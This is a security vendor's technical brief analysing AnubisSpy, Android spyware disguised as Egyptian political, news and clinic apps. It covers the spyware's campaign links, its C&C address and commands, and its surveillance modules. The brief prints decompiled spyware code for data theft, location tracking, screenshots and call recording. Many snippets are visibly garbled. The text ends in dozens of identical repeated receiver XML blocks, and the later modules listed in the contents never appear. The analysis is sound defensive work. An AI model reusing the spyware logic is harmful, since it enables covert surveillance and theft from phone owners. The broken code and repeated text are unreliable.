Cyberespionage Campaign Sphinx Goes Mobile With AnubisSpy

Technical Brief

TrendLabs Security Intelligence Blog
Ecular Xu and Grey Guo
Mobile Threat Response Team
December 2017
Table of Contents

Campaign Analysis ................................................................................................................................. 2
Correlation............................................................................................................................................. 6
AnubisSpy’s Capabilities ....................................................................................................................... 8
AnubisSpy’s Modules ............................................................................................................................ 9
  Init Module........................................................................................................................................ 9
  Patch Module ................................................................................................................................. 12
  Comm Module ................................................................................................................................ 13
  DBDump Module ............................................................................................................................ 15
  Position Module ............................................................................................................................. 18
  Screenshot Module .......................................................................................................................... 19
  CMD Module ................................................................................................................................... 20
Audio Record, Calls, and VoIP Modules .................................................................................................. 22
Destruction Module .............................................................................................................................. 25
Dec Module ........................................................................................................................................ 25
Enc Module ......................................................................................................................................... 26
Format Module .................................................................................................................................... 27
Uploader Module ................................................................................................................................. 28
Indicators of Compromise (IoCs) ......................................................................................................... 30

TREND MICRO LEGAL DISCLAIMER

The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice.

Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes.

Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an “as is” condition.
Android malware like ransomware exemplify how the platform can be lucrative for cybercriminals. But there are also other threats stirring up as of late: attacks that spy on and steal data from specific targets. More than the malware involved, these also demonstrate how attackers are crossing over between desktops and their mobile counterparts.

Take for instance several malicious apps we came across with cyberespionage capabilities, targeting Arabic-speaking users or Middle Eastern countries. These were published on Google Play — but have since been taken down — and third-party app marketplaces.

We named these malicious apps AnubisSpy (ANDROIDOS_ANUBISSPY) as all the malware's payload is a package called watchdog. We construe AnubisSpy to be linked to the cyberespionage campaign Sphinx (APT-C-15) based on shared file structures and command-and-control (C&C) server as well as targets. It’s also possible that while AnubisSpy’s operators may also be Sphinx’s, they could be running separate but similar campaigns.

We disclosed our findings to Google and worked with them to take down the apps on Google Play. Updates were also made to Google Play Protect to take appropriate action against those apps that have been verified as in violation of Google Play policy. This technical brief provides an in-depth analysis of AnubisSpy, along with indicators of compromise (IoCs).

**Campaign Analysis**

There were at least seven apps signed with the same fake Google certificate. We found two more apps made by the same developer, but they had no espionage-related codes. Based on hardcoded strings in the Agent Version, the malicious apps were created as early as April 2015. Timestamps indicate that the earliest sample was signed on June 2015 while the latest variant was signed on May 2017.

```
af.a(v2, "agent_version", new String("heads/7oHGA6RJ-0-ga0bf7b1_2015-04-30-10:01"));
```

![Figure 1: Agent Version of one of the AnubisSpy variants (top) and timestamps of when they were signed (bottom)](image)

AnubisSpy wasn’t only published on Google Play; variants of it were also in third-party app marketplaces. An AnubisSpy variant, named متضامنون مع سيسي, which translates to “In Solidarity with Sisi,” poses as a promotional app (SisiFans) targeting the supporters of a political figure. It had 150 installs before it was taken off Google Play after our disclosure.

The developer’s handle, ss4mDEV, also appears in other app marketplaces. The Google Play-hosted AnubisSpy was developed by TVDEV, whom we encountered in other marketplaces. We reported our findings to Google, and Google Play Protect accordingly detected and pulled the Google Play-hosted apps developed by TVDEV.
SisiFans is also on another third-party app story we saw uploaded last February 27. ss4mDEV also uploaded another AnubisSpy version in the form of a healthcare-related app called SwiftClinic. Both apps share the same certificate. SwiftClinic, touting multilingual support, masqueraded as a patient registration application for dental clinics. It was also shortly published on Google Play, but was promptly taken down.

Figure 2: AnubisSpy disguising as a healthcare-related app

Figure 3: Properties of AnubisSpy as SwiftClinic
AnubisSpy was also in another third-party app marketplace in the form of apps with the package name `nms.sabayaelkher`.

We also found apps developed by TVDEV. One posed as an aggregator of news covering Egypt’s government and politics. While it had no espionage functionalities (it had a different certificate, too), we think this was an experimental project considering it was released back in 2016, before the latest versions of AnubisSpy made their way to Google Play and third-party app marketplaces. TVDEV also developed and uploaded a similar app named `officialsabayaelkheer` on March 14, 2017. It poses as an app for “Sabaya El Kheir,” a TV program in Egypt. `officialsabayaelkheer` may just be a Potentially Unwanted Application (PUA) with no espionage functions, but it has the same `nms.sabayaelkher` label, which it shares with AnubisSpy-laden apps. We think these seemingly innocuous apps and versions of AnubisSpy were created during the same period so the latter can better camouflage and hide from antivirus (AV) detection.

Figure 4: Screenshot of an app posing as an aggregator for news in Egypt
Figure 5: AnubisSpy on a Spanish third-party app marketplace

Figure 6: Screenshots of the app TVDEV developed, which posed as the official app of an Egypt-based TV program
Correlation

Sphinx reportedly uses the watering hole technique via social media sites to deliver its payloads — mainly a customized version of njRAT. The Sphinx campaign operators cloaked their malware with Word, PDF, image, and application (i.e., Flash) icons to dupe recipients into clicking them. Sphinx was active between June 2014 and November 2015, but timestamps of the malware indicate the attacks started as early as 2011.

A WHOIS query of the C&C server showed that it abused a legitimate managed hosting service provider based in Belize. We correlated these AnubisSpy variants to Sphinx's desktop/PC-targeting malware given these commonalities:

- They share the same C&C server IP address, 86.105.18.107
- They share the technique of decrypting JSON files; the file structures of AnubisSpy and Sphinx's malware are similar
- Their targets are highly concentrated in the Middle East

![Figure 7: Comparison of file structure in Sphinx’s desktop/PC-targeting malware (left) and AnubisSpy (right)](image)

The apps mainly used Middle East-based news and sociopolitical themes as social engineering hooks, and abused social media to further proliferate. For instance, an app developed by TVDEV (nms.sabayaElkher) went to great lengths to feign as a legitimate app. It had three additional tabs/screens, each of which pointed to its Facebook, Twitter, and Google Play pages.

The apps were all written in Arabic and, in one way or another, related to something in Egypt (i.e., spoofing an Egypt-based TV program and using news/stories in the Middle East) regardless of the labels and objects within the apps. Our coordination with Google also revealed that these apps were installed across a handful of countries in the Middle East.
Figure 8: An app developed by TVDEV (nms.sabayaElkher) posing as a legitimate app; note the screens and icons for its Facebook and Twitter pages
AnubisSpy’s Capabilities

The malicious modules of all the AnubisSpy samples are almost the same. Our analyses are from a sample with the package name `cc.solidaritycc` (SHA256: d627f9d0e2711d59cc2571a11d16c950adadba55d95fd4c55638af6a97d32b23).

AnubisSpy can steal messages (SMS), photos, videos, contacts, email accounts, calendar events, and browser histories (i.e., Chrome and Samsung Internet Browser). It can also take screenshots and record audio, including calls. It can monitor the victim through apps installed on the device, such as Skype, WhatsApp, Facebook, and Twitter, among others.

After the data are collected, they are encrypted and sent to the (C&C) server. AnubisSpy can also self-destruct to cover its tracks. It can run commands and delete files on the device, as well as install and uninstall Android Application Packages (APKs).

AnubisSpy’s code is well constructed, indicating at least the attackers’ know-how. Below is a visualization of the modules:

![Figure 9: Structure of AnubisSpy’s modules](image-url)
AnubisSpy’s Modules

Init Module

The Init Module initiates all the other spyware modules and prepares the running environment. It sleeps for 60 seconds, then calls the Dec Module to decrypt two JavaScript Object Notation (JSON) files and a ZIP file from the assets folder.

```java
try {
    if(h) {
        Thread.sleep(60000);
    }
    Thread.setDefaultUncaughtExceptionHandler(new J(this));
    if(this.x() !== 0) {
        Decrypt rule file
        goto label_23;
    }
    if(this.y() !== 0) {
        Decrypt configure file
        goto label_23;
    }
    v1 = this.b();
    v1.c("uuid");
    v1.c("cipher_key");
    boolean v2 = v1.c("no_su_binaries");
    if(v2) {
        no_supersu_patch();
    }
    else if(c() == 1) {
        Decrypt supers-related files
        if(v2) {
            else {
                o.s(this.set, "A2F/CTR/noPadding", "011264a00000000000000000", 0, 0);
            }
        }
    }
}
```

The first JSON file has “Agent configuration.” All modules are initiated based on this configuration file. It has two main parts: “core” and “plugins.” The former contains detailed spyware and global configurations, while the latter mainly has configurations about communication, such as the C&C address used for initiating the Comm Module. The second JSON file is a so-called dbrule file. Each item within it has extensive rules for stealing sensitive information. “uri” indicates the Universal Resource Identifier (URI) of Android SMS; “sort_order” and “selection” are for querying the database.

In short, the first configuration file specifies what to do, while the dbrule file specifies how to do it. The decrypted ZIP file is used as Patch Module.
Figure 11: dbrule file's rule for stealing SMS messages (left) and the list of apps AnubisSpy monitors (right)

```java
// Code snippets showing how the Init Module initiates the spying-related modules after getting the configuration file

CRS.a(this.i); // Init CMD Module
DIDS.a(this.i, "com.android.watchdog.core.action.DUP_DATABASES_INTERVAL");
DIDS.a(this.i, "com.android.watchdog.core.action.DUP_DATABASES_INTERVAL_OTHER");
DTDS.b(this.i); // Init DBdump Module
try {
    TSS.b(this.i); // Init Screenshots Module
    Pls.b(this.i); // Init Position Module
    goto label_GB;
} 

this.e = new v(this.i); // Init Uploader Module
this.f = new e(this.i); // Init Comm Module
this.g = new d(this.i); // Init APK Manipulate Module
ComponentName v2_3 = new ComponentName(this.i, MainActivity.class);
PackageManager v3_1 = this.i.getPackageManager();
int v4 = 2;
try {
    v3_1.setComponentEnabledSetting(v2_3, v4, 1);
} 
catch(Exception v2_2) {
}
```

Figure 12: Code snippets showing how the Init Module initiates the spying-related modules after getting the configuration file
The Init Module initiates serials of `ContentObserver` (used for tracking changes in the device’s data), based on the configuration file. This includes SMS, calendar events, emails, browsing histories in Chrome and Samsung Internet Browser, photos, and videos. If any of the device content changes, a specific module will be invoked to process the new/updated data.

```java
public final void onChange(boolean arg5) {
    super.onChange(arg5);
    new Handler().postDelayed(new Runnable() {
        @Override
        public void run() {
            if (v8 != null) {
                v8 = v8.optString(v0, 0);
                if (v0 != null) {
                    v0 = v3;
                } else {
                    String v3 = v8.optString("url");
                    if (v3.isEmpty()) {
                        v0 = v3;
                    } else {
                        v0 = new URL(arg10, arg12, arg11);
                        arg8.contentResolver().registerContentObserver(url.parse(v3), arg14, ((ContentObserver)v0));
                    }
                }
            }
        }
    }, 2000);
}
```

*Figure 13: Code snippet showing how Init Module uses ContentObserver*

Based on the configuration and device-rooted status, it will call the Android Application Package (APK) Manipulate Module to install itself as a system application then install an embedded APK decrypted from assets. In one of the samples we analyzed though, there was no embedded APK in the assets folder.

```java
try {
    goto label_99;
    label_102:
    byte[] v0_2 = g.a(this.i, Customization.AssetsFolderName + "" + Customization.EmbeddedAppName, if (v0_2 == null) {
        else {
            SharedPreferences.Editor v1_5 = v7.edit();
            v1_5.putBoolean("installedApp", true);
            v1_5.apply();
            this.g.a(v0_1, false, true);
            if (v0_3 != 0) {
                int v0_3 = Settings.System.getInt(this.i.getContentResolver(), "screen_off_timeout");
                Settings.System.putInt(this.i.getContentResolver(), "screen_off_timeout", 1000);
                g.a(v5);
                Settings.System.putInt(this.i.getContentResolver(), "screen_off_timeout", v0_3);
            }
        }
    }
    label_99:
    this.m();
    h.a(this.i, true);
    goto label_23;
}
```

*Figure 14: Code snapshot showing how new/changed data is processed*

*Figure 15: Code snapshot showing the Manipulate Module*
Patch Module

Some of the spying-related modules need root permission. The Patch Module is for rooted devices, deploying root-related functionalities and granting the malware root permission without user knowledge.

The Init Module first checks the device’s root status. Based on the "no_supersu_patch" configuration (True or False), a file (ZIP) is decrypted.

A series of commands is performed to deploy files on the device, and is carried out by a bash script named “update-binary.” It will patch/change the superSU/configuration file, if existing, to grant itself root permission and ensure no notifications, logs, and re-authentication are made.
The Comm Module plays the middleman between the agent and the C&C server. It is initiated based on the configuration file, with the C&C server address and service path as the key parameters.

All communications are performed through HTTP/HTTPS POST method using multipart/form-data requests. It has these main types of communications: sending and retrieving a file to and from the server, as well as getting commands from the server.
private HttpURLConnection i() { // based on config file, get a HttpURLConnection
    URLConnection v0;
    KeyManager[] v6 = null;
    int v5 = 10000;
    URL v1 = new URL(this.o + "" + this.a(this.d, "phasename"));
    if (this.o) {
        v0 = v1.openConnection();
        SSLContext v1_1 = SSLContext.getInstance("TLS");
        v1_1.init(v6, [TrustManager[]]v6), new SecureRandom());
        ((HttpURLConnection)v0).setSSLSocketFactory(v1_1.getSocketFactory());
    } else {
        v0 = v1.openConnection();
    }
    ((HttpURLConnection)v0).setConnectTimeout(v5);
    ((HttpURLConnection)v0).setRequestProperty("connection", "close");
    ((HttpURLConnection)v0).setRequestMethod("POST");
    ((HttpURLConnection)v0).setDoOutput(true);
    return ((HttpURLConnection)v0);
}

Figure 18: Snapshot of the Comm Module

Figure 19: Code snippets showing how the Comm Module works
To evade traffic inspection, all keywords in the request body are replaced based on protocol_strings specified in the configuration file:

<table>
<thead>
<tr>
<th>Original Keyword</th>
<th>Replaced Keyword</th>
</tr>
</thead>
<tbody>
<tr>
<td>request</td>
<td>choux</td>
</tr>
<tr>
<td>type</td>
<td>lobotomize</td>
</tr>
<tr>
<td>put</td>
<td>whispered</td>
</tr>
<tr>
<td>get</td>
<td>hilo</td>
</tr>
<tr>
<td>ip</td>
<td>idolizers</td>
</tr>
<tr>
<td>list</td>
<td>deliberate</td>
</tr>
<tr>
<td>del</td>
<td>luff</td>
</tr>
<tr>
<td>event</td>
<td>damageable</td>
</tr>
<tr>
<td>command</td>
<td>telescopes</td>
</tr>
<tr>
<td>timestamp</td>
<td>carillon</td>
</tr>
<tr>
<td>file</td>
<td>chevins</td>
</tr>
<tr>
<td>filename</td>
<td>triggered</td>
</tr>
<tr>
<td>filelist</td>
<td>hurras</td>
</tr>
<tr>
<td>status</td>
<td>snuffler</td>
</tr>
<tr>
<td>chunknum</td>
<td>debriefs</td>
</tr>
</tbody>
</table>

Table 1: Keywords based on protocol_strings

**DBDump Module**

The DBDump Module consists of two parts: DUMP_DATABASES_EXACT_TIME and DUMP_DATABASES_INTERVAL, which are initiated by separate configurations. DUMP_DATABASES_EXACT_TIME dumps specific databases at an exact time. Its configuration contains a time and dump list. In this case, it’s supposed to dump the device’s contact information at a certain time. This function though is disabled as there’s no value for the “time.” However, it still can be enabled through a configuration update from the C&C server. Some of the routines specified in the code need root permission.

```
String v0_1 = v0_2.getString("time", "");
if(v0_1.isEmpty()) {
    String[] v0_2 = v0_1.split(";");
    int v3 = new Integer(v0_2[0]).intValue();
    int v0_3 = new Integer(v0_2[1]).intValue();
    Calendar v2 = Calendar.getInstance();
    v2.set(10, v5);
    v2.set(11, v6_3);
    v2.set(12, v6_3);
    g.e(v0_2, v2.getTimeInMillis(), 86400000L, "tom.android.watchdog.core.action.DUMP_DATABASES_EXACT_TIME", 0); // DTDs.class);
```

*Figure 20: Code snapshots showing the DBDump Module’s DUMP_DATABASES_EXACT_TIME*
DUMP_DATABASES_INTERVAL dumps specific databases at intervals. Its configuration contains the interval time and specified databases. In this case, the following are configured:

<table>
<thead>
<tr>
<th>Time Interval</th>
<th>dbItem</th>
</tr>
</thead>
<tbody>
<tr>
<td>10 minutes</td>
<td>device/sms</td>
</tr>
<tr>
<td></td>
<td>device/calls</td>
</tr>
<tr>
<td></td>
<td>device/calendar_events</td>
</tr>
<tr>
<td></td>
<td>facebook/messages</td>
</tr>
<tr>
<td></td>
<td>facebook/notifications</td>
</tr>
<tr>
<td></td>
<td>linkedin/messages</td>
</tr>
<tr>
<td></td>
<td>twitter/tweets</td>
</tr>
<tr>
<td></td>
<td>gplus/activities</td>
</tr>
<tr>
<td></td>
<td>viber/messages</td>
</tr>
<tr>
<td></td>
<td>viber/calls</td>
</tr>
<tr>
<td></td>
<td>whatsapp/messages</td>
</tr>
<tr>
<td></td>
<td>hangout-gtalk/messages</td>
</tr>
<tr>
<td></td>
<td>skype/messages</td>
</tr>
<tr>
<td></td>
<td>skype/calls</td>
</tr>
<tr>
<td></td>
<td>gmail/emails</td>
</tr>
<tr>
<td></td>
<td>system_email/emails</td>
</tr>
<tr>
<td></td>
<td>device/browser_history_chrome</td>
</tr>
<tr>
<td></td>
<td>device/browser_history_samsung</td>
</tr>
<tr>
<td></td>
<td>device/browser_history</td>
</tr>
<tr>
<td></td>
<td>device/photo</td>
</tr>
<tr>
<td></td>
<td>device/video</td>
</tr>
<tr>
<td>72 hours</td>
<td>google_play_service_security/*</td>
</tr>
<tr>
<td></td>
<td>system_email/accounts</td>
</tr>
<tr>
<td></td>
<td>system_users_security/*</td>
</tr>
<tr>
<td></td>
<td>device/contacts</td>
</tr>
<tr>
<td></td>
<td>gplus/contacts</td>
</tr>
<tr>
<td></td>
<td>viber/contacts</td>
</tr>
<tr>
<td></td>
<td>skype/contacts</td>
</tr>
<tr>
<td></td>
<td>whatsapp/contacts</td>
</tr>
<tr>
<td></td>
<td>facebook/contacts</td>
</tr>
<tr>
<td></td>
<td>linkedin/profiles</td>
</tr>
<tr>
<td></td>
<td>linkedin/connections</td>
</tr>
<tr>
<td></td>
<td>twitter/following</td>
</tr>
</tbody>
</table>

Table 2: Database items dumped by the DBDump Module

The DBDump Module dumps databases only when the screen is off to evade users’ awareness. For every item above, it will look into the dbrule file to get the corresponding rule.
Below is an example rule for *facebook/messages*. It tells the DBDump Module Facebook’s root directory and asks for database location and file name, SQL query statement, and other field titles for further result formatting.

```
"facebook": {
  "app_name": "com.facebook.katana",
  "app_root": "/data/local",
  "database": {
    "folder": "databases",
    "db_name": "facebook.db",
    "raw_query": "SELECT * FROM messages ORDER BY timestamp DESC",
    "mapping": {
      "sender": {
        "id": 1,
        "name": "source",
        "parse_key": "id"
      }
    },
    "query": {
      "id": 1,
      "target": "body"
    }
  }
}
```

Figure 21: Rule used by the DBDump Module for *facebook/messages*

It then gets and parses rules then queries db and sends the information to the Format Module:

```
v6 = arg3.optstring("db_folder");
String v10 = arg3.optstring("db_name");
String v21 = arg3.optstring("app_root");
String v2 = arg3.optstring("raw_query");
boolean v11 = arg3.safeBoolean("force_readFromSubfolders");
boolean v12 = arg3.safeBoolean("check_hash");
if(arg5 == 1) {
  v11 = true;
} else if(arg9 == 0) {
  v11 = false;
}
String v22 = arg3.optstring("vm_query");
String v3 = arg3.get5000("vmpri");
if(arg8.compareSubfolderCase("device") == 0) {
  return this.a(v2, v4, arg3, v7, v8, arg5, v11, v12);
}
String v17 = arg3.optstring("app_root");
String v18 = arg3.optstring("app_name");
if(v8_1) {
  return this.b(v2, v4, v7, v8, v10, v20, v21, v22, v23, v7, v8, arg4, arg5, v11, v12);
}
v1_1 = this.a(v2, v4, v7, v8, v10, v20, v21, v22, v23, v7, v8, arg4, arg5, v11, v12);
}
```

Figure 22: DBDump Module parsing the rules (top), and querying the db (bottom)
Position Module

The Position Module retrieves the device’s location data and uploads it to the C&C server. A parameter of position_interval in the configuration file is sent to the Position Module when initiating. It indicates the intervals for when location data (position) is stolen each time. In a sample we analyzed (shown below), the value is 600 — that is, the Position Module collects and uploads this information every 10 minutes.

```java
public static void h(Context arg7) {
    n = h.a(arg7).d();
    if (w == null) {
        throw new Exception("Wrong configuration, \"core\captured\opt\time\_based\" not found");
    }
    String v0_1 = v0.a("position\_interval", 0);
    StringBuilder v0_1 = new StringBuilder("Scheduling position log every ").append(v0_1).append(" seconds");
    g.a(arg7, System.currentTimeMillis(), ((long)(v0_1 * 1000)), "com.android.watchdog.core.action.GET\_POSITION", PL5.class);
}
```

**Figure 23: Position Module indicating the interval time for stealing location data**

Each time that it collects the data, if there’s a position/location, it selects a specific Position Provider via GPS, network or passive (last known location), whether the device’s screen is on or off. If force\_location\_services\_enabled is configured, it will try to enable the GPS and network provider. The device’s location/position data is sent to the Format Module, then processed as a JSON file with value of key “type” as “gis.”

```java
int v0 = -1; // -1 : auto
String v5 = v4.a("position\_use\_provider", ";");
if (v5.compareTo("gps") == 0) {
    v0 = v1;
} else if (v5.compareTo("network") == 0) {
    v0 = 1;
} else if (v5.compareTo("passive") == 0) {
    v0 = 0;
}
try {
    v0 = Settings\$Secure.getString(arg7, "location\_providers\_allowed");
    if (v0 == null) {
        v0 = ";
    } else if (v0.compareTo("args") == 0) {
    return v0;
} else if (Settings\$Secure.putString(arg3, "location\_providers\_allowed", v0)) {
    }
} catch (Throwable v1) {
}
if (v0 != null) {
    JSONObject v0 = n.a("gis", null, sf.a()); // {"type":"gis", "subtypes":null, "timestamp":currentTime
    try {
        i.a(v0, arg5); // pass to Format Module
        h.a(this).e.a(v0, toString());
    }
} catch (JSONException v0_1) {
    }
```

**Figure 24: How the Position Module selects the Position Provider (top), enables GPS and network provider (center), and passes the information to the Format Module (bottom)**
The Screenshot Module takes screenshots and uploads them to the C&C server. It reads related configurations from the configuration file first before initiating. Apart from time intervals, there’s also a package list in the configuration set that the Screenshot Module uses when taking screenshots. The Screenshot Module works only on rooted devices.

```java
public static void h(Context arg) {
    String v0 = FSX.arg;
    if(v0 != null) {
        String v1 = v0.substring("interval", "");
        if(v1 != null) {
            new StringBuilder("Scheduling screenshot every ").append(v1).append(" seconds");
            a.arg, System.currentTimeMillis(), ((temp) vie == 0)((com.android.wtfmp.core.action.GET_SCREENSHOT", FSX.class)); // every 60s
        }
    }
    if(a.b() == 0) { // rooted or not
        return;
    }
}
```

*Figure 25: Screenshot Module’s intervals for taking screenshots (top) and how it checks whether the device is rooted or not (bottom)*

It first gets the device’s current, overlaying activity. It takes a screenshot of it if its package name is in the list from its configuration file. If it fails to get the activity or if the package list is empty, it will just take a screenshot of current screen regardless of the activities running on top. A screenshot is taken by running `screencap`. After it is compressed, it is sent to the Format Module and processed as a JSON file whose value key “type” is “image,” and accompanied with other image attributes.

The package names listed in the configuration file include:

- com.skype.raider
- com.facebook.katana
- com.facebook.orca
- com.whatsapp
- com.viber.voip
- com.google.android.talk
- com.sec.android.app.sbrowser
- com.android.chrome
- mobi.mgeek.TunnyBrowser
Figure 26: Code snippet showing how screenshots are taken (top, center) and how they are processed (bottom)

CMD Module

The CMD Module retrieves commands from the C&C server and processes them. The parameter `checkcmd_interval` in the configuration file is sent to the CMD Module when initiating. It indicates the interval for checking/awaiting commands (CMD checking) from the C&C server. As shown below, the value is 600 — that is, the CMD Module checks for commands from the C&C server every 10 minutes.

Figure 27: CMD Module’s interval for checking commands
Figure 28: CMD Module calling the Destruction Module (top) and encryption of commands (bottom)

Before sending a CMD request to the C&C server, it checks if the current date reached the "expiry_date," which is read from the configuration file. If it has, it will call the Destruction Module to remove itself from the device; otherwise, it proceeds to do CMD checking. Getting the command from the C&C server is performed through the Comm Module. The commands are sent in JSON format then encrypted. After getting the raw data, the CMD Module calls the Dec Module to decrypt it then parse it as a JSON file.

The JSON file's contents have these commands:

<table>
<thead>
<tr>
<th>Command</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>uninstall_agent</td>
<td>Destroy itself</td>
</tr>
<tr>
<td>install_package</td>
<td>Install an APK, which is sent from the C&amp;C server and encoded in command JSON file</td>
</tr>
<tr>
<td>uninstall_package</td>
<td>Uninstall a specific package</td>
</tr>
<tr>
<td>update_config</td>
<td>Update the configuration file</td>
</tr>
<tr>
<td>update_dbrules</td>
<td>Update the dbrule file</td>
</tr>
<tr>
<td>get_databases</td>
<td>Dump a specific db</td>
</tr>
<tr>
<td>get_file</td>
<td>Get and upload specific files on the device</td>
</tr>
<tr>
<td>recv_file</td>
<td>Retrieve a file from the C&amp;C server and put it in a certain location on the device</td>
</tr>
<tr>
<td>exec_cmdline</td>
<td>Run command line on the device</td>
</tr>
<tr>
<td>delete_file</td>
<td>Delete a specific file from the device</td>
</tr>
<tr>
<td>get_dirtree</td>
<td>Get and upload a specific directory tree structure</td>
</tr>
<tr>
<td>get_sysinfo</td>
<td>Call the Device Info Module to get system information</td>
</tr>
<tr>
<td>start_av_bug</td>
<td>Start audio recording through Audio Record Module</td>
</tr>
<tr>
<td>stop_av_bug</td>
<td>Stop audio recording through Audio Record Module</td>
</tr>
</tbody>
</table>

Table 3: Commands from the C&C server
Audio Record, Calls, and VoIP Modules

The Audio Record Module records audio, mainly used by the CMD Module, and calls-related modules. It is referred to in the configuration file via the strings `media_chunk_size` and `audio_hq`. After it records the audio, it is sent as a pass result file (along with other information such as `Location` and `DialNumber`) to the Format Module.

The Calls Module monitors and records the device’s incoming and outgoing call actions. The configuration file refers to it via the strings `call_info`, `call_audio`, `audio_hq`, and `media_chunk_size`.

```java
argf.reset();
vr = 1, e = 1, g = argR;
argf.delete();
argf.setOutputFile(argf.getAbsolutePath());
try {
    argf.prepare();
    argf.start();
} catch (Exception vb) {
    Exception vb = vb;
    argf.reset();
    vr = 0, e = 0, g = 0;
    argf.delete();
    argf.setOutputFile(argf.getAbsolutePath());
    try {
        argf.prepare();
        argf.start();
    } catch (Exception vb) {
        argf.delete();
        n = this.getClass().getEn().getException();
        vb = vb;
    }
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
    <intent-filter>
        <action android:name="android.intent.action.PHONE_STATE" />
    </intent-filter>
</receiver>

	<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

	<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

	<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

	<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
        <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
    </intent-filter>
</receiver>

<receiver android:name="com.android.misc.core.Pinger">
